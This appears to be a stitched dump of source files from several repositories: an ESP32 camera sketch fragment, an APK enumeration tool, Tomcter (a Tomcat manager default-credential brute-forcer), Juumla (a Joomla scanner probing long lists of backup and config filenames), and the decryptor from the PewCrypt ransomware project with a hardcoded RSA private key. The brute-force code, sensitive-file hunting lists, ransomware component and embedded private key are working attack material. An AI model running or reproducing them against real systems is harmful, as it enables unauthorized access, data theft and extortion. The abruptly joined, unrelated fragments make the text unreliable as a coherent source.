esp_err_t err = esp_camera_init(&config); if (err != ESP_OK) { Serial.printf("Camera init failed with error 0x%x", err); return; } sensor_t* sensor = esp_camera_sensor_get(); ov5640.start(sensor); if (ov5640.focusInit() == 0) { Serial.println("OV5640_Focus_Init Successful!"); } if (ov5640.autoFocusMode() == 0) { Serial.println("OV5640_Auto_Focus Successful!"); } } void loop() { uint8_t rc = ov5640.getFWStatus(); Serial.printf("FW_STATUS = 0x%x\n", rc); if (rc == -1) { Serial.println("Check your OV5640"); } else if (rc == FW_STATUS_S_FOCUSED) { Serial.println("Focused!"); } else if (rc == FW_STATUS_S_FOCUSING) { Serial.println("Focusing!"); } else { } camera_fb_t* fb = esp_camera_fb_get(); if (!fb) { Serial.println("Camera capture failed"); esp_camera_fb_return(fb); return; } if (fb->format != PIXFORMAT_JPEG) { Serial.println("Non-JPEG data not implemented"); esp_camera_fb_return(fb); return; } // Draw Image on the display or Send Image to the connected device! // With (fb->buf, fb->len); esp_camera_fb_return(fb); }
000pp/Apepe
1,984
README.md
# 📲 Apepe > 📲 Enumerate information from an app based on the APK file <div align="center"> <img src="https://i.imgur.com/0qh6sHq.jpg" width="850"> </div> <br> <p align="center"> <img src="https://img.shields.io/github/license/oppsec/Apepe?color=orange&logo=github&logoColor=orange&style=for-the-badge"> <img src="https://img.shields.io/github/issues/oppsec/Apepe?color=orange&logo=github&logoColor=orange&style=for-the-badge"> <img src="https://img.shields.io/github/stars/oppsec/Apepe?color=orange&label=STARS&logo=github&logoColor=orange&style=for-the-badge"> <img src="https://img.shields.io/github/forks/oppsec/Apepe?color=orange&logo=github&logoColor=orange&style=for-the-badge"> </p> ___ ### 🕵️ What is Apepe? 🕵️ **Apepe** is a project developed to help to capture informations from a Android app through his APK file. It can be used to extract the content, get app settings, suggest SSL Pinning bypass based on the app detected language, extract deeplinks from AndroidManifest.xml, JSONs and DEX files. <br> ### ⚡ Getting started A quick guide of how to install and use Apepe. 1. `git clone https://github.com/oppsec/Apepe.git` 2. `pip install -r requirements.txt --break-system-packages` 3. `python3 main -h` <br> ### ✨ Features - List the activies, permissions, services, and libraries used by the app - Identify the app development language based on classes name - Suggest SSL Pinnings bypass with the `-l` flag - Find deeplinks in DEX, JSONs files and AndroidManifest.xml with the `-d` flag <br> ### 🖼️ Preview <img src="https://i.imgur.com/myZOPz7.png" width=800> <br> ### 🔨 Contributing A quick guide of how to contribute with the project. 1. Create a fork from Apepe repository 2. Download the project with `git clone https://github.com/your/Apepe.git` 3. `cd Apepe/` 4. Make your changes 5. Commit and make a git push 6. Open a pull request <br> ### ⚠️ Warning - The developer is not responsible for any malicious use of this tool.
000pp/Apepe
5,812
src/apepe/main.py
from rich.console import Console console = Console() from os import path, chdir from pathlib import Path from zipfile import ZipFile, BadZipFile from shutil import rmtree from androguard.core.apk import APK from androguard.core.dex import DEX from src.apepe.modules.suggest import suggest_sslpinning from src.apepe.modules.deeplink import scraper from src.apepe.modules.exported import exported from loguru import logger logger.remove(0) def perform_checks(apk_file, list_scripts, deeplink) -> None: """ This function is responsible to check if the APK file exists and if the extension is .apk """ global args_list_scripts args_list_scripts = list_scripts global args_deeplink args_deeplink = deeplink file_name: str = apk_file check_if_file: bool = path.isfile(file_name) check_if_file_exists: bool = path.exists(file_name) check_extension: bool = file_name.endswith(".apk") if not(check_if_file or check_if_file_exists): console.print("[red][!][/] You have specified an invalid or non existent file or directory") return True if not(check_extension): console.print("[red][!][/] File extension is not [b].apk[/], please check your file or input") return True console.print(f"[yellow][!][/] APK: [yellow]{file_name}[/]", highlight=False) extract_apk(file_name) def extract_apk(file_name) -> None: """ This function will create a folder with the same name as of APK file and extract the content from the apk file to that folder """ normal_dir_name: str = f"{file_name.rstrip('.apk')}_extracted" current_dir = Path.cwd() target_dir = current_dir.joinpath(normal_dir_name) try: console.print(f"[yellow][!][/] Extraction folder: [yellow]{target_dir}[/]", highlight=False) if target_dir.exists(): rmtree(target_dir) target_dir.mkdir(parents=True, exist_ok=True) with ZipFile(file_name, mode="r") as archive: archive.extractall(path=normal_dir_name) apk_info_extraction(file_name, normal_dir_name) except FileNotFoundError: console.print(f"[red][!][/] APK file '{file_name}' not found.") except PermissionError: console.print(f"[red][!][/] Permission denied while creating {target_dir}.") except (OSError, BadZipFile) as error: console.print(f"[red][!][/] Error processing APK: {error}") def apk_info_extraction(file_name, normal_dir_name) -> None: """ Uses androguard's library functions to extract APK relevant information such as: Package Name, App Name, Activies, Permissions... """ apk_file = APK(file_name) console.print(f"\n[green][+][/] Package name: {apk_file.get_package()}") console.print("\n[green][+][/] App signature(s):", highlight=False) package_signature_V1 : bool = apk_file.is_signed_v1() package_signature_V3 : bool = apk_file.is_signed_v2() package_signature_V2 : bool = apk_file.is_signed_v3() console.print(f" \\_ V1: {package_signature_V1}\n \\_ V2: {package_signature_V2}\n \\_ V3: {package_signature_V3}") # Get app activities, services, providers and receivers exported(apk_file) # Get list of permissions used by the app try: app_permissions = apk_file.get_details_permissions() if len(app_permissions) != 0: console.print("\n[green][+][/] List of permissions:", highlight=False) for permission in app_permissions: console.print(f" \\_ {permission}") else: console.print("\n[red][!][/] No permission(s) found", highlight=False) except Exception as error: console.print(f"\n[red][!][/] Impossible to list permissions: {error}", highlight=False) pass # Get list of libraries used by the app try: app_libraries = apk_file.get_libraries() if len(app_libraries) != 0: console.print("\n[green][+][/] App libraries:", highlight=False) for library in app_libraries: console.print(f" \\_ {library}") else: console.print("\n[red][!][/] No libraries found", highlight=False) except Exception as error: console.print(f"\n[red][!][/] Impossible to list libraries: {error}", highlight=False) pass check_app_dev_lang(normal_dir_name, apk_file) def check_app_dev_lang(normal_dir_name, apk_file) -> None: """ Try to detect the app development language through classes name """ chdir(normal_dir_name) console.print(f"\n[yellow][!][/] Extracting APK classes", highlight=False) try: dvm = DEX(apk_file.get_dex()) classes = dvm.get_classes() lang_patterns = { 'Lio/flutter/': 'Flutter', 'Lcom/facebook/react/': 'React Native', 'Landroidx/work/Worker': 'Java' } detected_lang = None for apk_class in classes: class_name = apk_class.get_name() for pattern, lang in lang_patterns.items(): if pattern in class_name: detected_lang = lang break if detected_lang: break if detected_lang: console.print(f"[green][+][/] Development language detected: [b]{detected_lang}[/b]") if args_list_scripts: console.print(suggest_sslpinning(detected_lang)) else: console.print("[red][!][/] Impossible to detect the app language") except Exception as error: console.print(f"[red][!][/] Error in [b]check_app_dev_lang[/b] function: {error}") return if args_deeplink: scraper(normal_dir_name, apk_file) console.print("\n[yellow][!][/] Finished!")
000pp/Apepe
4,821
src/apepe/modules/deeplink.py
import json import re from rich.console import Console console = Console() from pathlib import Path from androguard.core.dex import DEX from androguard.core.apk import APK from lxml.etree import tostring DEEPLINK_PATTERN = r'\b\w+://[^\s]+' def dex_handler(file_path: Path) -> list: """ Extract readable strings from a .dex file and filter for deeplinks, excluding those that start with 'http://', 'https://' or 'parse' """ results = [] try: with file_path.open('rb') as dex_file: content = DEX(dex_file.read()) strings = content.get_strings() results = [ s for s in strings if isinstance(s, str) and re.search(DEEPLINK_PATTERN, s) and not ('http://' in s or 'https://' in s or 'parse' in s) ] except Exception as error: console.print(f"[red][!][/] Failed to read DEX file [yellow]{file_path}[/]: {error}") return [] if len(results) == 0: return f"[red][!][/] No deeplinks found in [yellow]{file_path}[/]\n" else: return "\n".join(results) + "\n" def json_handler(file_path: Path) -> list: """ Extract readable strings from a .json file and filter for deeplinks, excluding those that start with 'http://' or 'https://'. """ results = [] try: with file_path.open('r', encoding='utf-8') as json_file: content = json.load(json_file) stack = [content] while stack: obj = stack.pop() if isinstance(obj, dict): stack.extend(obj.values()) elif isinstance(obj, list): stack.extend(obj) elif isinstance(obj, str): if re.search(DEEPLINK_PATTERN, obj) and not ('http://' in obj or 'https://' in obj or 'parse' in obj): results.append(obj) except Exception as error: console.print(f"[red][!][/] Failed to read JSON file [yellow]{file_path}[/]: {error}") return [] if len(results) == 0: return f"[red][!][/] No deeplinks found in [yellow]{file_path}[/]\n" else: return "\n".join(results) + "\n" def android_manifest_handler(apk_file: str) -> None: """ Extract readable intent-filter (scheme, host and path) from AndroidManifest.xml """ console.print("[green][+][/] AndroidManifest.xml:") results = [] seen = set() try: manifest = APK.get_android_manifest_xml(apk_file) manifest_content: str = tostring(manifest, pretty_print=True, encoding="unicode") if len(manifest_content) == 0: console.print(f"[red][!][/] AndroidManifest.xml content is 0 - [yellow]{apk_file}[/]") else: for intent_filter in manifest.findall(".//intent-filter"): data_tag = intent_filter.find("data") if data_tag is not None: scheme = data_tag.get("{http://schemas.android.com/apk/res/android}scheme", "") host = data_tag.get("{http://schemas.android.com/apk/res/android}host", "") path = data_tag.get("{http://schemas.android.com/apk/res/android}path", "") formatted_url = f"{scheme}://{host}{path}" if scheme and host and path else f"{scheme}://{host}" if formatted_url not in seen: results.append(formatted_url) if len(results) == 0: return f"[red][!][/] No results for [yellow]{apk_file}[/]\n" else: return "\n".join(results) + "\n" except Exception as error: console.print(f"[red][!][/] Failed to read AndroidManifest.xml file [yellow]{apk_file}[/]: {error}") return [] def scraper(extraction_path: str, apk_file: str) -> None: """ This module aims to get all the readable strings from the extracted files (JSON and DEX) and search for possible deeplinks. extraction_path: Path to the extracted content directory """ path = Path(extraction_path) console.print(f"\n[yellow][!][/] Searching for [yellow]deeplinks[/] [yellow]({path}[/])") console.print(android_manifest_handler(apk_file), highlight=False) extensions = ['.dex', '.json'] for extension in extensions: file_paths = path.glob(f'**/*{extension}') for file_path in file_paths: file_path_str = str(file_path) console.print(f"[yellow][!][/] Checking file: [yellow]{file_path_str}[/]") if(extension == '.dex'): console.print(dex_handler(file_path), highlight=False) if(extension == '.json'): console.print(json_handler(file_path), highlight=False)
000pp/Apepe
1,131
src/apepe/modules/exported.py
from rich.console import Console console = Console() def exported(target) -> None: """ Lists activities, services, receivers, and providers from AndroidManifest.xml file. """ manifest = target.get_android_manifest_xml() endpoints = ["activity", "service", "receiver", "provider"] for endpoint in endpoints: console.print(f"\n[green][+][/] {endpoint.capitalize()}:", highlight=False) if(endpoint == "activity"): console.print(f" [green]\\_[/] Main Activity: [yellow]{target.get_main_activity()}[/]") for element in manifest.findall(f".//{endpoint}"): name = element.get("{http://schemas.android.com/apk/res/android}name") exported = element.get("{http://schemas.android.com/apk/res/android}exported") if exported is None: has_intent_filter = element.find('.//intent-filter') is not None exported = 'True' if has_intent_filter else 'False' color = "green" if exported.lower() == 'true' else 'red' console.print(f' \\_ [yellow]{name}[/] | Exported: [{color}]{exported}[/]')
000pp/tomcter
2,320
README.md
# 😹 Tomcter > Stealing credentials from a yellow cat <div align="center"> <img src="https://i.imgur.com/ePw5RQ5.png"> </div> <br> <p align="center"> <img src="https://img.shields.io/github/license/oppsec/tomcter?color=yellow&logo=github&logoColor=yellow&style=for-the-badge"> <img src="https://img.shields.io/github/issues/oppsec/tomcter?color=yellow&logo=github&logoColor=yellow&style=for-the-badge"> <img src="https://img.shields.io/github/stars/oppsec/tomcter?color=yellow&label=STARS&logo=github&logoColor=yellow&style=for-the-badge"> <img src="https://img.shields.io/github/forks/oppsec/tomcter?color=yellow&logo=github&logoColor=yellow&style=for-the-badge"> <img src="https://img.shields.io/github/languages/code-size/oppsec/tomcter?color=yellow&logo=github&logoColor=yellow&style=for-the-badge"> </p> ___ <br> <p> 😹 <b>Tomcter</b> is a python tool developed to bruteforce Apache Tomcat manager login with default credentials. </p> <br> ## ⚡ Installing / Getting started A quick guide of how to install and use Tomcter. 1. Clone the repository with `git clone https://github.com/oppsec/tomcter.git` 2. Install required libraries with `pip install -r requirements.txt` ### Single Target `python3 main.py -u http://host` <br> ### Multiple Targets `python3 main.py -l file.txt` <br> ### 🐳 Docker If you want to use Tomcter in a Docker container, follow this commands: 1. Clone the repository with `git clone https://github.com/oppsec/tomcter.git` 2. Build the image with `sudo docker build -t tomcter:latest .` 3. Run the container with `sudo docker run tomcter:latest` <br><br> ### ⚙️ Pre-requisites - [Python 3](https://www.python.org/downloads/) installed on your machine. - Install the libraries with `pip3 install -r requirements.txt` <br><br> ### ✨ Features - Works with ProxyChains - Fast Brute-Force - Low RAM and CPU usage - Open-Source - Python ❤️ <br><br> ### 🔨 Contributing A quick guide of how to contribute with the project. 1. Create a fork from Tomcter repository 2. Clone the repository with `git clone https://github.com/your/tomcter.git` 3. Type `cd tomcter/` 4. Create a branch and make your changes 5. Commit and make a git push 6. Open a pull request <br><br> ### ⚠️ Warning - The developer is not responsible for any malicious use of this tool.
000pp/tomcter
1,031
src/core/manager.py
from random import choice def get_file_data(path) -> str: " Return the content inside text file " with open(path) as file: return file.read() def get_usernames() -> list: " Get all usernames inside usernames.txt file " raw = get_file_data('src/core/data/usernames.txt') raw = raw.split('\n') return raw def get_passwords() -> list: " Get all passwords inside passwords.txt file " raw = get_file_data('src/core/data/passwords.txt') raw = raw.split('\n') return raw def user_agent() -> str: """ Return a random user-agent from user-agents.txt file """ user_agents_file: str = "src/core/data/user-agents.txt" with open(user_agents_file, 'r+') as user_agents: user_agent = user_agents.readlines() user_agent = choice(user_agent) user_agent = user_agent.strip() return str(user_agent) headers = {'User-Agent': user_agent()} props = { "verify": False, "timeout": 25, "allow_redirects": True, "headers": headers }
000pp/tomcter
2,234
src/core/bruteforce.py
from requests import get from base64 import b64encode from time import sleep from rich.console import Console console = Console() from urllib3 import disable_warnings disable_warnings() from src.core.manager import props, get_usernames, get_passwords def check_and_connect(target): url: str = f"{target}/manager/html" try: response = get(url, **props) body: str = response.text status_code: str = response.status_code if (status_code == 401 or status_code == 403 or status_code == 200): if ('Tomcat' in body or 'tomcat' in body): bruteforce(url) else: console.print(f"[red][-] Connection problems with {target} | {status_code} [/]") except Exception as e: raise e except ConnectionRefusedError: pass def connect(args) -> str: """ Check if target is alive and try to connect with Apache Tomcat login page """ target = args.u target_list = args.l if target: check_and_connect(target) elif target_list: with open(target_list, "r+") as file: content = file.readlines() for target in content: if target: check_and_connect(target.rstrip()) def bruteforce(url) -> str: """ Bruteforce Apache Tomcat login with default credentials """ console.print(f"[green][+][/] Starting bruteforce on [bold white]{url}", highlight=False) console.print(f"[green][+][/] {len(get_usernames())} usernames loaded. {len(get_passwords())} passwords loaded\n", highlight=False) for user, password in zip(get_usernames(), get_passwords()): response = get(url, verify=False, auth=(user, password)) sleep(1) status_code: str = response.status_code console.print(f'[yellow][!][/] User: {user} - Password: {password} - {status_code}', highlight=False) if (status_code == 200): console.print(f"\n[green][+][/] Credentials found: {user} - {password} - {status_code}", highlight=False) console.print(f"[green][+][/] Bruteforce in {url} is done", highlight=False) return console.print(f"\n[green][+][/] Bruteforce in {url} is done", highlight=False)
000pp/juumla
1,350
CHANGELOG.md
# 🎉 0.1.6 - 02/05/2024 - Added check to config and backup files scanner if result is not HTML response - Changed print to console.print from rich - Changed interface - Improved the code <br><br> # 🎉 0.1.5 - 08/07/2023 - Improved the code - Fixed error when trying to get Joomla version on get_version_second() func - Improved backup and configuration file scanner module - Fixed not initializing/closing rich markup correct on get_version_second() func - Improved Exception treatment - Added docker-compose.yml file to emulate an Joomla environment to test the tool - Fixed get_user_agent() returning byte instead of string - Improved random user-agent getter from get_user_agent() func <br><br> # 🎉 0.1.4 - 02/06/2022 - Improved the code - Removed useless checks - Changed Juumla banner - Changed status messages <br><br> # 🎉 0.1.3b - 12/01/2022 - Updated libraries version - Improved the code a bit <br><br> # 🎉 0.1.2a - 27/09/2021 - Made functions description more readable - Added more whitespaces on the code - Changed some messages to something like: "Oh I got that" - Added more tags to requests headers <br><br> # 🎉 0.1.2 - 08/09/2021 - Removed automatic screen clear - Changed ascii banner - Added backup files to files searcher module - Fixed version bug in vulnerability scanner (thanks @d4op) - Updated banner image from README
000pp/juumla
2,752
README.md
# 🦁 Juumla <div align="center"> <img src="https://i.imgur.com/0RvLKOP.png" width="900"> </div> <br> <p align="center"> <img src="https://img.shields.io/github/license/oppsec/juumla?color=yellow&logo=github&style=for-the-badge"> <img src="https://img.shields.io/github/issues/oppsec/juumla?color=yellow&logo=github&style=for-the-badge"> <img src="https://img.shields.io/github/stars/oppsec/juumla?color=yellow&label=STARS&logo=github&style=for-the-badge"> <img src="https://img.shields.io/github/v/release/oppsec/juumla?color=yellow&logo=github&style=for-the-badge"> <img src="https://img.shields.io/github/languages/code-size/oppsec/juumla?color=yellow&logo=github&style=for-the-badge"> </p> ___ <br> <p> 🦁 <b>Juumla</b> Juumla is a python tool created to identify Joomla version, scan for vulnerabilities and sensitive files. </p> <br> ## ⚡ Installing / Getting started <p> A quick guide on how to install and use Juumla. </p> ``` 1. Clone the repository - git clone https://github.com/oppsec/juumla.git 2. Install the libraries - pip3 install -r requirements.txt 3. Run Juumla - python3 main.py -u https://example.com ``` <br> ### 🐳 Docker If you want to run Juumla in a Docker container, follow these commands: ``` 1. Clone the repository - git clone https://github.com/oppsec/juumla.git 2. Build the image - sudo docker build -t juumla:latest . 3. Run container - sudo docker run juumla:latest ``` If you want to create an Joomla environment in a Docker container, follow these commands: ``` 1. Clone the repository - git clone https://github.com/oppsec/juumla.git (or download the docker-compose.yml file) 2. Install docker-compose (e.g: sudo apt install docker-compose) 3. sudo docker-compose up 4. Access http://localhost:8080/ The default root password is: example The default database name is: joomladb The default DBMS is: MySQL 5.6 ``` <br><br> ### ⚙️ Pre-requisites - [Python 3](https://www.python.org/downloads/) installed on your machine. - Install the libraries with `pip3 install -r requirements.txt` <br><br> ### ✨ Features - Fast scan - Low RAM and CPU usage - Detect Joomla version - Find config and backup files - Scan for vulnerabilities based on the Joomla version - Open-Source <br><br> ### 📚 To-Do - [ ] Update vulnerabilities database - [x] Improve Joomla detection methods - [x] Improve code optimization <br><br> ### 🔨 Contributing A quick guide on how to contribute to the project. ``` 1. Create a fork from Juumla repository 2. Download the project with git clone https://github.com/your/juumla.git 3. Make your changes 4. Commit and makes a git push 5. Open a pull request ``` <br><br> ### ⚠️ Warning - The developer is not responsible for any malicious use of this tool.
000pp/juumla
1,339
src/juumla/main.py
from requests import get, exceptions from rich.console import Console console = Console() from urllib3 import disable_warnings disable_warnings() from src.juumla.settings import props from src.juumla.modules.version import get_version def perform_checks(args) -> None: " Connect to the target and check if status code is positive " global url url = args.u try: response: str = get(url, **props) status_code: int = response.status_code body: str = response.text if response.ok: console.print(f"[green][+][/] Connected successfully to [yellow]{url}[/]", highlight=False) detect_joomla(body) else: console.print(f"[red][-][/] Host returned status code: {status_code}", highlight=False) return except exceptions as error: console.print(f"[red][-][/] Error when trying to connect to {url}: {error}", highlight=False) return def detect_joomla(body) -> None: " Check if meta tag 'generator' contains Joomla! in body response " console.print("[yellow][!][/] Checking if target is running Joomla...", highlight=False) if '<meta name="generator" content="Joomla!' in body: get_version(url) else: console.print("[red][-][/] Target is not running Joomla apparently") return
000pp/juumla
2,160
src/juumla/modules/version.py
from requests import get, exceptions from xmltodict import parse, expat from rich.console import Console console = Console() from urllib3 import disable_warnings disable_warnings() from src.juumla.settings import props from src.juumla.modules.vulns import vuln_manager app_xml_header = "application/xml" text_xml_header = "text/xml" def get_version(url: str) -> None: " Get Joomla version based on XML files response " console.print("\n[yellow][!][/] Running Joomla version scanner! [cyan](1/3)[/]", highlight=False) try: xml_file = f"{url}/language/en-GB/en-GB.xml" response: str = get(xml_file, **props) headers: str = response.headers if response.ok and app_xml_header or text_xml_header in headers: data = parse(response.content) version = data["metafile"]["version"] console.print(f"[green][+][/] Joomla version is: {version}", highlight=False) vuln_manager(url, version) else: console.print("[yellow][!][/] Couldn't get Joomla version, trying other way...", highlight=False) get_version_second(url) except Exception as error: console.print(f"[red][-][/] Error when trying to get {url} Joomla version in first method: {error}", highlight=False) return def get_version_second(url) -> None: """ Last try to get Joomla version """ manifest_file = f"{url}/administrator/manifests/files/joomla.xml" try: response = get(manifest_file, **props) headers = response.headers if response.ok and app_xml_header or text_xml_header in headers: data = parse(response.content) version = data["extension"]["version"] console.print(f"[green][+][/] Joomla version is: {version}", highlight=False) vuln_manager(url, version) else: console.print("[red][-][/] Couldn't get Joomla version, stopping...", highlight=False) return except Exception as error: console.print(f"[red][-][/] Error when trying to get {url} Joomla version in second method: {error}", highlight=False) return
000pp/juumla
4,744
src/juumla/modules/files.py
from requests import get, exceptions from rich.console import Console console = Console() from src.juumla.settings import props def file_scan(file_to_check: str, file_url: str) -> None: try: response = get(f"{file_url}/{file_to_check}", **props) if response.ok and 'text/html' not in response.headers.get('Content-Type', '').lower(): console.print(f"[green][+][/] Sensitive file found: [yellow]{response.url}[/]", highlight=False) elif response.ok: console.print(f"[yellow][!][/] File is HTML, not a sensitive file: {response.url}", highlight=False) except Exception as error: console.print(f"[red][-][/] Error when trying to find sensitive files: {error}", highlight=False) def files_manager(url) -> None: " Search for sensitive readable backup or config files on target " console.print("\n[yellow][!][/] Running backup and config files scanner! [cyan](3/3)[/]", highlight=False) config_files = ['configuration.php~','configuration.php.new','configuration.php.new~','configuration.php.old','configuration.php.old~','configuration.bak','configuration.php.bak','configuration.php.bkp','configuration.txt','configuration.php.txt','configuration - Copy.php','configuration.php.swo','configuration.php_bak','configuration.orig','configuration.php.save','configuration.php.original','configuration.php.swp','configuration.save','.configuration.php.swp','configuration.php1','configuration.php2','configuration.php3','configuration.php4','configuration.php4','configuration.php6','configuration.php7','configuration.phtml','configuration.php-dist'] bkp_files = ['1.gz','1.rar','1.save','1.tar','1.tar.bz2','1.tar.gz','1.tgz','1.tmp','1.zip','2.back','2.backup','2.gz','2.rar','2.save','2.tar','2.tar.bz2','2.tar.gz','2.tgz','2.tmp','2.zip','backup.back','backup.backup','backup.bak','backup.bck','backup.bkp','backup.copy','backup.gz','backup.old','backup.orig','backup.rar','backup.sav','backup.save','backup.sql~','backup.sql.back','backup.sql.backup','backup.sql.bak','backup.sql.bck','backup.sql.bkp','backup.sql.copy','backup.sql.gz','backup.sql.old','backup.sql.orig','backup.sql.rar','backup.sql.sav','backup.sql.save','backup.sql.tar','backup.sql.tar.bz2','backup.sql.tar.gz','backup.sql.tgz','backup.sql.tmp','backup.sql.txt','backup.sql.zip','backup.tar','backup.tar.bz2','backup.tar.gz','backup.tgz','backup.txt','backup.zip','database.back','database.backup','database.bak','database.bck','database.bkp','database.copy','database.gz','database.old','database.orig','database.rar','database.sav','database.save','database.sql~','database.sql.back','database.sql.backup','database.sql.bak','database.sql.bck','database.sql.bkp','database.sql.copy','database.sql.gz','database.sql.old','database.sql.orig','database.sql.rar','database.sql.sav','database.sql.save','database.sql.tar','database.sql.tar.bz2','database.sql.tar.gz','database.sql.tgz','database.sql.tmp','database.sql.txt','database.sql.zip','database.tar','database.tar.bz2','database.tar.gz','database.tgz','database.tmp','database.txt','database.zip','joom.back','joom.backup','joom.bak','joom.bck','joom.bkp','joom.copy','joom.gz','joomla.back','Joomla.back','joomla.backup','Joomla.backup','joomla.bak','Joomla.bak','joomla.bck','Joomla.bck','joomla.bkp','Joomla.bkp','joomla.copy','Joomla.copy','joomla.gz','Joomla.gz','joomla.old','Joomla.old','joomla.orig','Joomla.orig','joomla.rar','Joomla.rar','joomla.sav','Joomla.sav','joomla.save','Joomla.save','joomla.tar','Joomla.tar','joomla.tar.bz2','Joomla.tar.bz2','joomla.tar.gz','Joomla.tar.gz','joomla.tgz','Joomla.tgz','joomla.zip','Joomla.zip','joom.old','joom.orig','joom.rar','joom.sav','joom.save','joom.tar','joom.tar.bz2','joom.tar.gz','joom.tgz','joom.zip','site.back','site.backup','site.bak','site.bck','site.bkp','site.copy','site.gz','site.old','site.orig','site.rar','site.sav','site.save','site.tar','site.tar.bz2','site.tar.gz','site.tgz','site.zip','sql.zip.back','sql.zip.backup','sql.zip.bak','sql.zip.bck','sql.zip.bkp','sql.zip.copy','sql.zip.gz','sql.zip.old','sql.zip.orig','sql.zip.save','sql.zip.tar','sql.zip.tar.bz2','sql.zip.tar.gz','sql.zip.tgz','upload.back','upload.backup','upload.bak','upload.bck','upload.bkp','upload.copy','upload.gz','upload.old','upload.orig','upload.rar','upload.sav','upload.save','upload.tar','upload.tar.bz2','upload.tar.gz','upload.tgz','upload.zip'] # Scan for configuration files for config_file in config_files: file_scan(config_file, url) # Scan for generic backup files for bkp_file in bkp_files: file_scan(bkp_file, url) console.print("[yellow][!][/] Backup and config files scanner finished! [cyan](3/3)[/]", highlight=False)
000JustMe/PewCrypt
4,434
Decrypter/src/main/Decrypter.java
package main; import java.util.Base64; import javax.crypto.BadPaddingException; import javax.crypto.Cipher; import javax.crypto.IllegalBlockSizeException; import javax.crypto.NoSuchPaddingException; import javax.crypto.spec.SecretKeySpec; import java.io.File; import java.io.IOException; import java.nio.file.Files; import java.security.InvalidKeyException; import java.security.Key; import java.security.KeyFactory; import java.security.NoSuchAlgorithmException; import java.security.PrivateKey; import java.security.spec.InvalidKeySpecException; import java.security.spec.PKCS8EncodedKeySpec; public class Decrypter { private String DEFAULT_RSA_KEY = "MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDThEl/fSuUgIAGJCfcLzmhk4/KmxhKqBCkVqAECRWii5DfGDI2Skkp7TrWMljBUwd4dnKjBlle0UFaOBAmq1GZLZmvfaEQfhm1qyMNkPkY+T6RuanZ5Y509I2Usxpy/ZKiwqX6Us5mCSMvPhHIf7dNk1pOtvS61Ds22frZ/esf6/jiLNo1MhlDBSEmRytr6hpoWgIEkEg12e4wmhlNVlruRZydrvVCa7dbSDfEo315wLbNniTJTB/aUifBn0JsTg56iem/bsZ7otuaC99Yd9Alnbs8T0C46jRoOJ7mRhn+VA5Jto1O+Qu7M4tMKp3VX1hVKggOh5P4vTJ1mRcAJp4/AgMBAAECggEAd16/A/4mLCbhGZYqEK9uPOvESLmC2g9DZRumLuDZnuRZHC7Rl6YQ6GKDxAKh6GjtXGSsiai5ozNBSKM/KjOhV2tOwqWJ0n74D3jHzY41poxzbVZ0rw5IeWTSykrR8Hd+2/AyL7Wv2hHqE21aJ+c8EcHJQ4cpUo8X4/rdAU219kr1R6BLhrwhW6kxc9lPr+J/CWAdclxJXcvapuRXx0ipPm9Jut5xETCq8GnrMjdysSFXPMA5aJP52hm9RvjzCIPGKR/nm2jJVMsbD2x0CV6HJByT6MfzTluSEf309vCKM2stEOoC/wrXBfBtc7TUfZ4ntS1vhwyJTkZUcFz4ZKhhsQKBgQDym3lNydsxj5TTKsFRuurgDXKLcYZcIiLlm+pefxSB7HTqXJsVfpLjp0NGiUmY1PVVVCGLZRC09KMSLN6qB1VBuEBnebsiIKSuGadAy4uiIzd4cORmDyj+DyCW5k4pnJ28tnYPYkvJoPjkZNkEf3n9HWFjxOMkOuZnfa1oCch+ewKBgQDfMXD7p7YlEZhxG+kNlK/GsnQhfdVATDbGOcy9euCYr0BeBJwhxXfsrrYi6ehqR+EnQ4e2zXGYrPxKm+TPCWh+tJiMOu3Y1mMUuAEJNm1Yjv3ewVAb1YxUK0XqF7Z7JRyL4bFztwIhMSu/R8Lx2FWykoRng2GgmhzR7TzlQer2DQKBgA7PoRM3rJMVAe/2X0D/GVG+YGzU7G/5gYnk/+Tu+zCHYAfiyXEBfjQ5xOisfvq+nY+tCDM7Y0641K/KX3mf4vuVJRFsJBmMRqF+XXCePJMUdVF8CuWULVt9Tu8HdmQh9JtNxF1iEeBoXGmNIpactbTXM1fk8D0I/4H38Ts1xbC7AoGAbXkhsr27MIll3SzUbc3dPbdwELFYtNXtE+Nr0hCAM0PabYMTVdk2jkfPnGZgkii5ffm4imhQbJOEl8/JNeemcmeAX1/UI8RcCuCJ2YvxrDtOuEDXWx+uWeZzv3NsFRDJ5K6JzHkaOU+V5pd7PgZfWlxVRzSA4TZWJn2XnddsOM0CgYEA2lv2ITPwzf+h9/WZdz0Cfi9ir/yAcOf81tqLY1Qfub6scU1tALA/fjQijuRgqBHkH2OXoxrYl4BREW4wUObBi6Hro2JlAhR1TmO3clRRsZ8DneKBAWnX044mtKzm3kMKSy5tZYqNNBYPejh/px3ka+MjCLMk4B0A9SWg8HObrAg="; private PrivateKey RSAKey; private Key AESKey; private Cipher cipher; public Decrypter(String AESKeyFile) { try { this.RSAKey = this.generateRSAKey(Base64.getDecoder().decode(DEFAULT_RSA_KEY)); this.AESKey = decryptAESKey(Files.readAllBytes(new File(AESKeyFile).toPath()), this.RSAKey); this.cipher = Cipher.getInstance("AES"); this.cipher.init(Cipher.DECRYPT_MODE, this.AESKey); } catch (NoSuchAlgorithmException | NoSuchPaddingException | InvalidKeyException | IllegalBlockSizeException | BadPaddingException | IOException | InvalidKeySpecException e) { e.printStackTrace(); System.exit(-1); } } private static Key decryptAESKey(byte[] AESKey, Key RSAKey) throws InvalidKeyException, NoSuchAlgorithmException, NoSuchPaddingException, IllegalBlockSizeException, BadPaddingException { Cipher cipher = Cipher.getInstance("RSA"); cipher.init(Cipher.DECRYPT_MODE, RSAKey); return (Key) new SecretKeySpec(cipher.doFinal(AESKey), "AES"); } private PrivateKey generateRSAKey(byte[] rawKey) throws NoSuchAlgorithmException, InvalidKeySpecException { KeyFactory kf = KeyFactory.getInstance("RSA"); return kf.generatePrivate(new PKCS8EncodedKeySpec(rawKey)); } public boolean ProcessFile(String path) { try { // get handles File file = new File(path); // file checks if (!file.exists()) { System.out.println("File not found: " + path); return false; } else if (!file.canRead() | !file.canWrite() | (file.length() > 20000000)) { System.out.println("File conditions not satifified"); return false; } // file content buffer byte[] fileContent = Files.readAllBytes(file.toPath()); // encrypted data buffer byte[] outputBytes = this.cipher.doFinal(fileContent); // write encrypted data back to file Files.write(file.toPath(), outputBytes); String outPath = path.replace(".PewCrypt", ""); file.renameTo(new File(outPath)); System.out.println("Decryption Complete, Out: " + outPath); return true; } catch (IOException | BadPaddingException | IllegalBlockSizeException e) { e.printStackTrace(); return false; } } }
000JustMe/PewCrypt
1,533
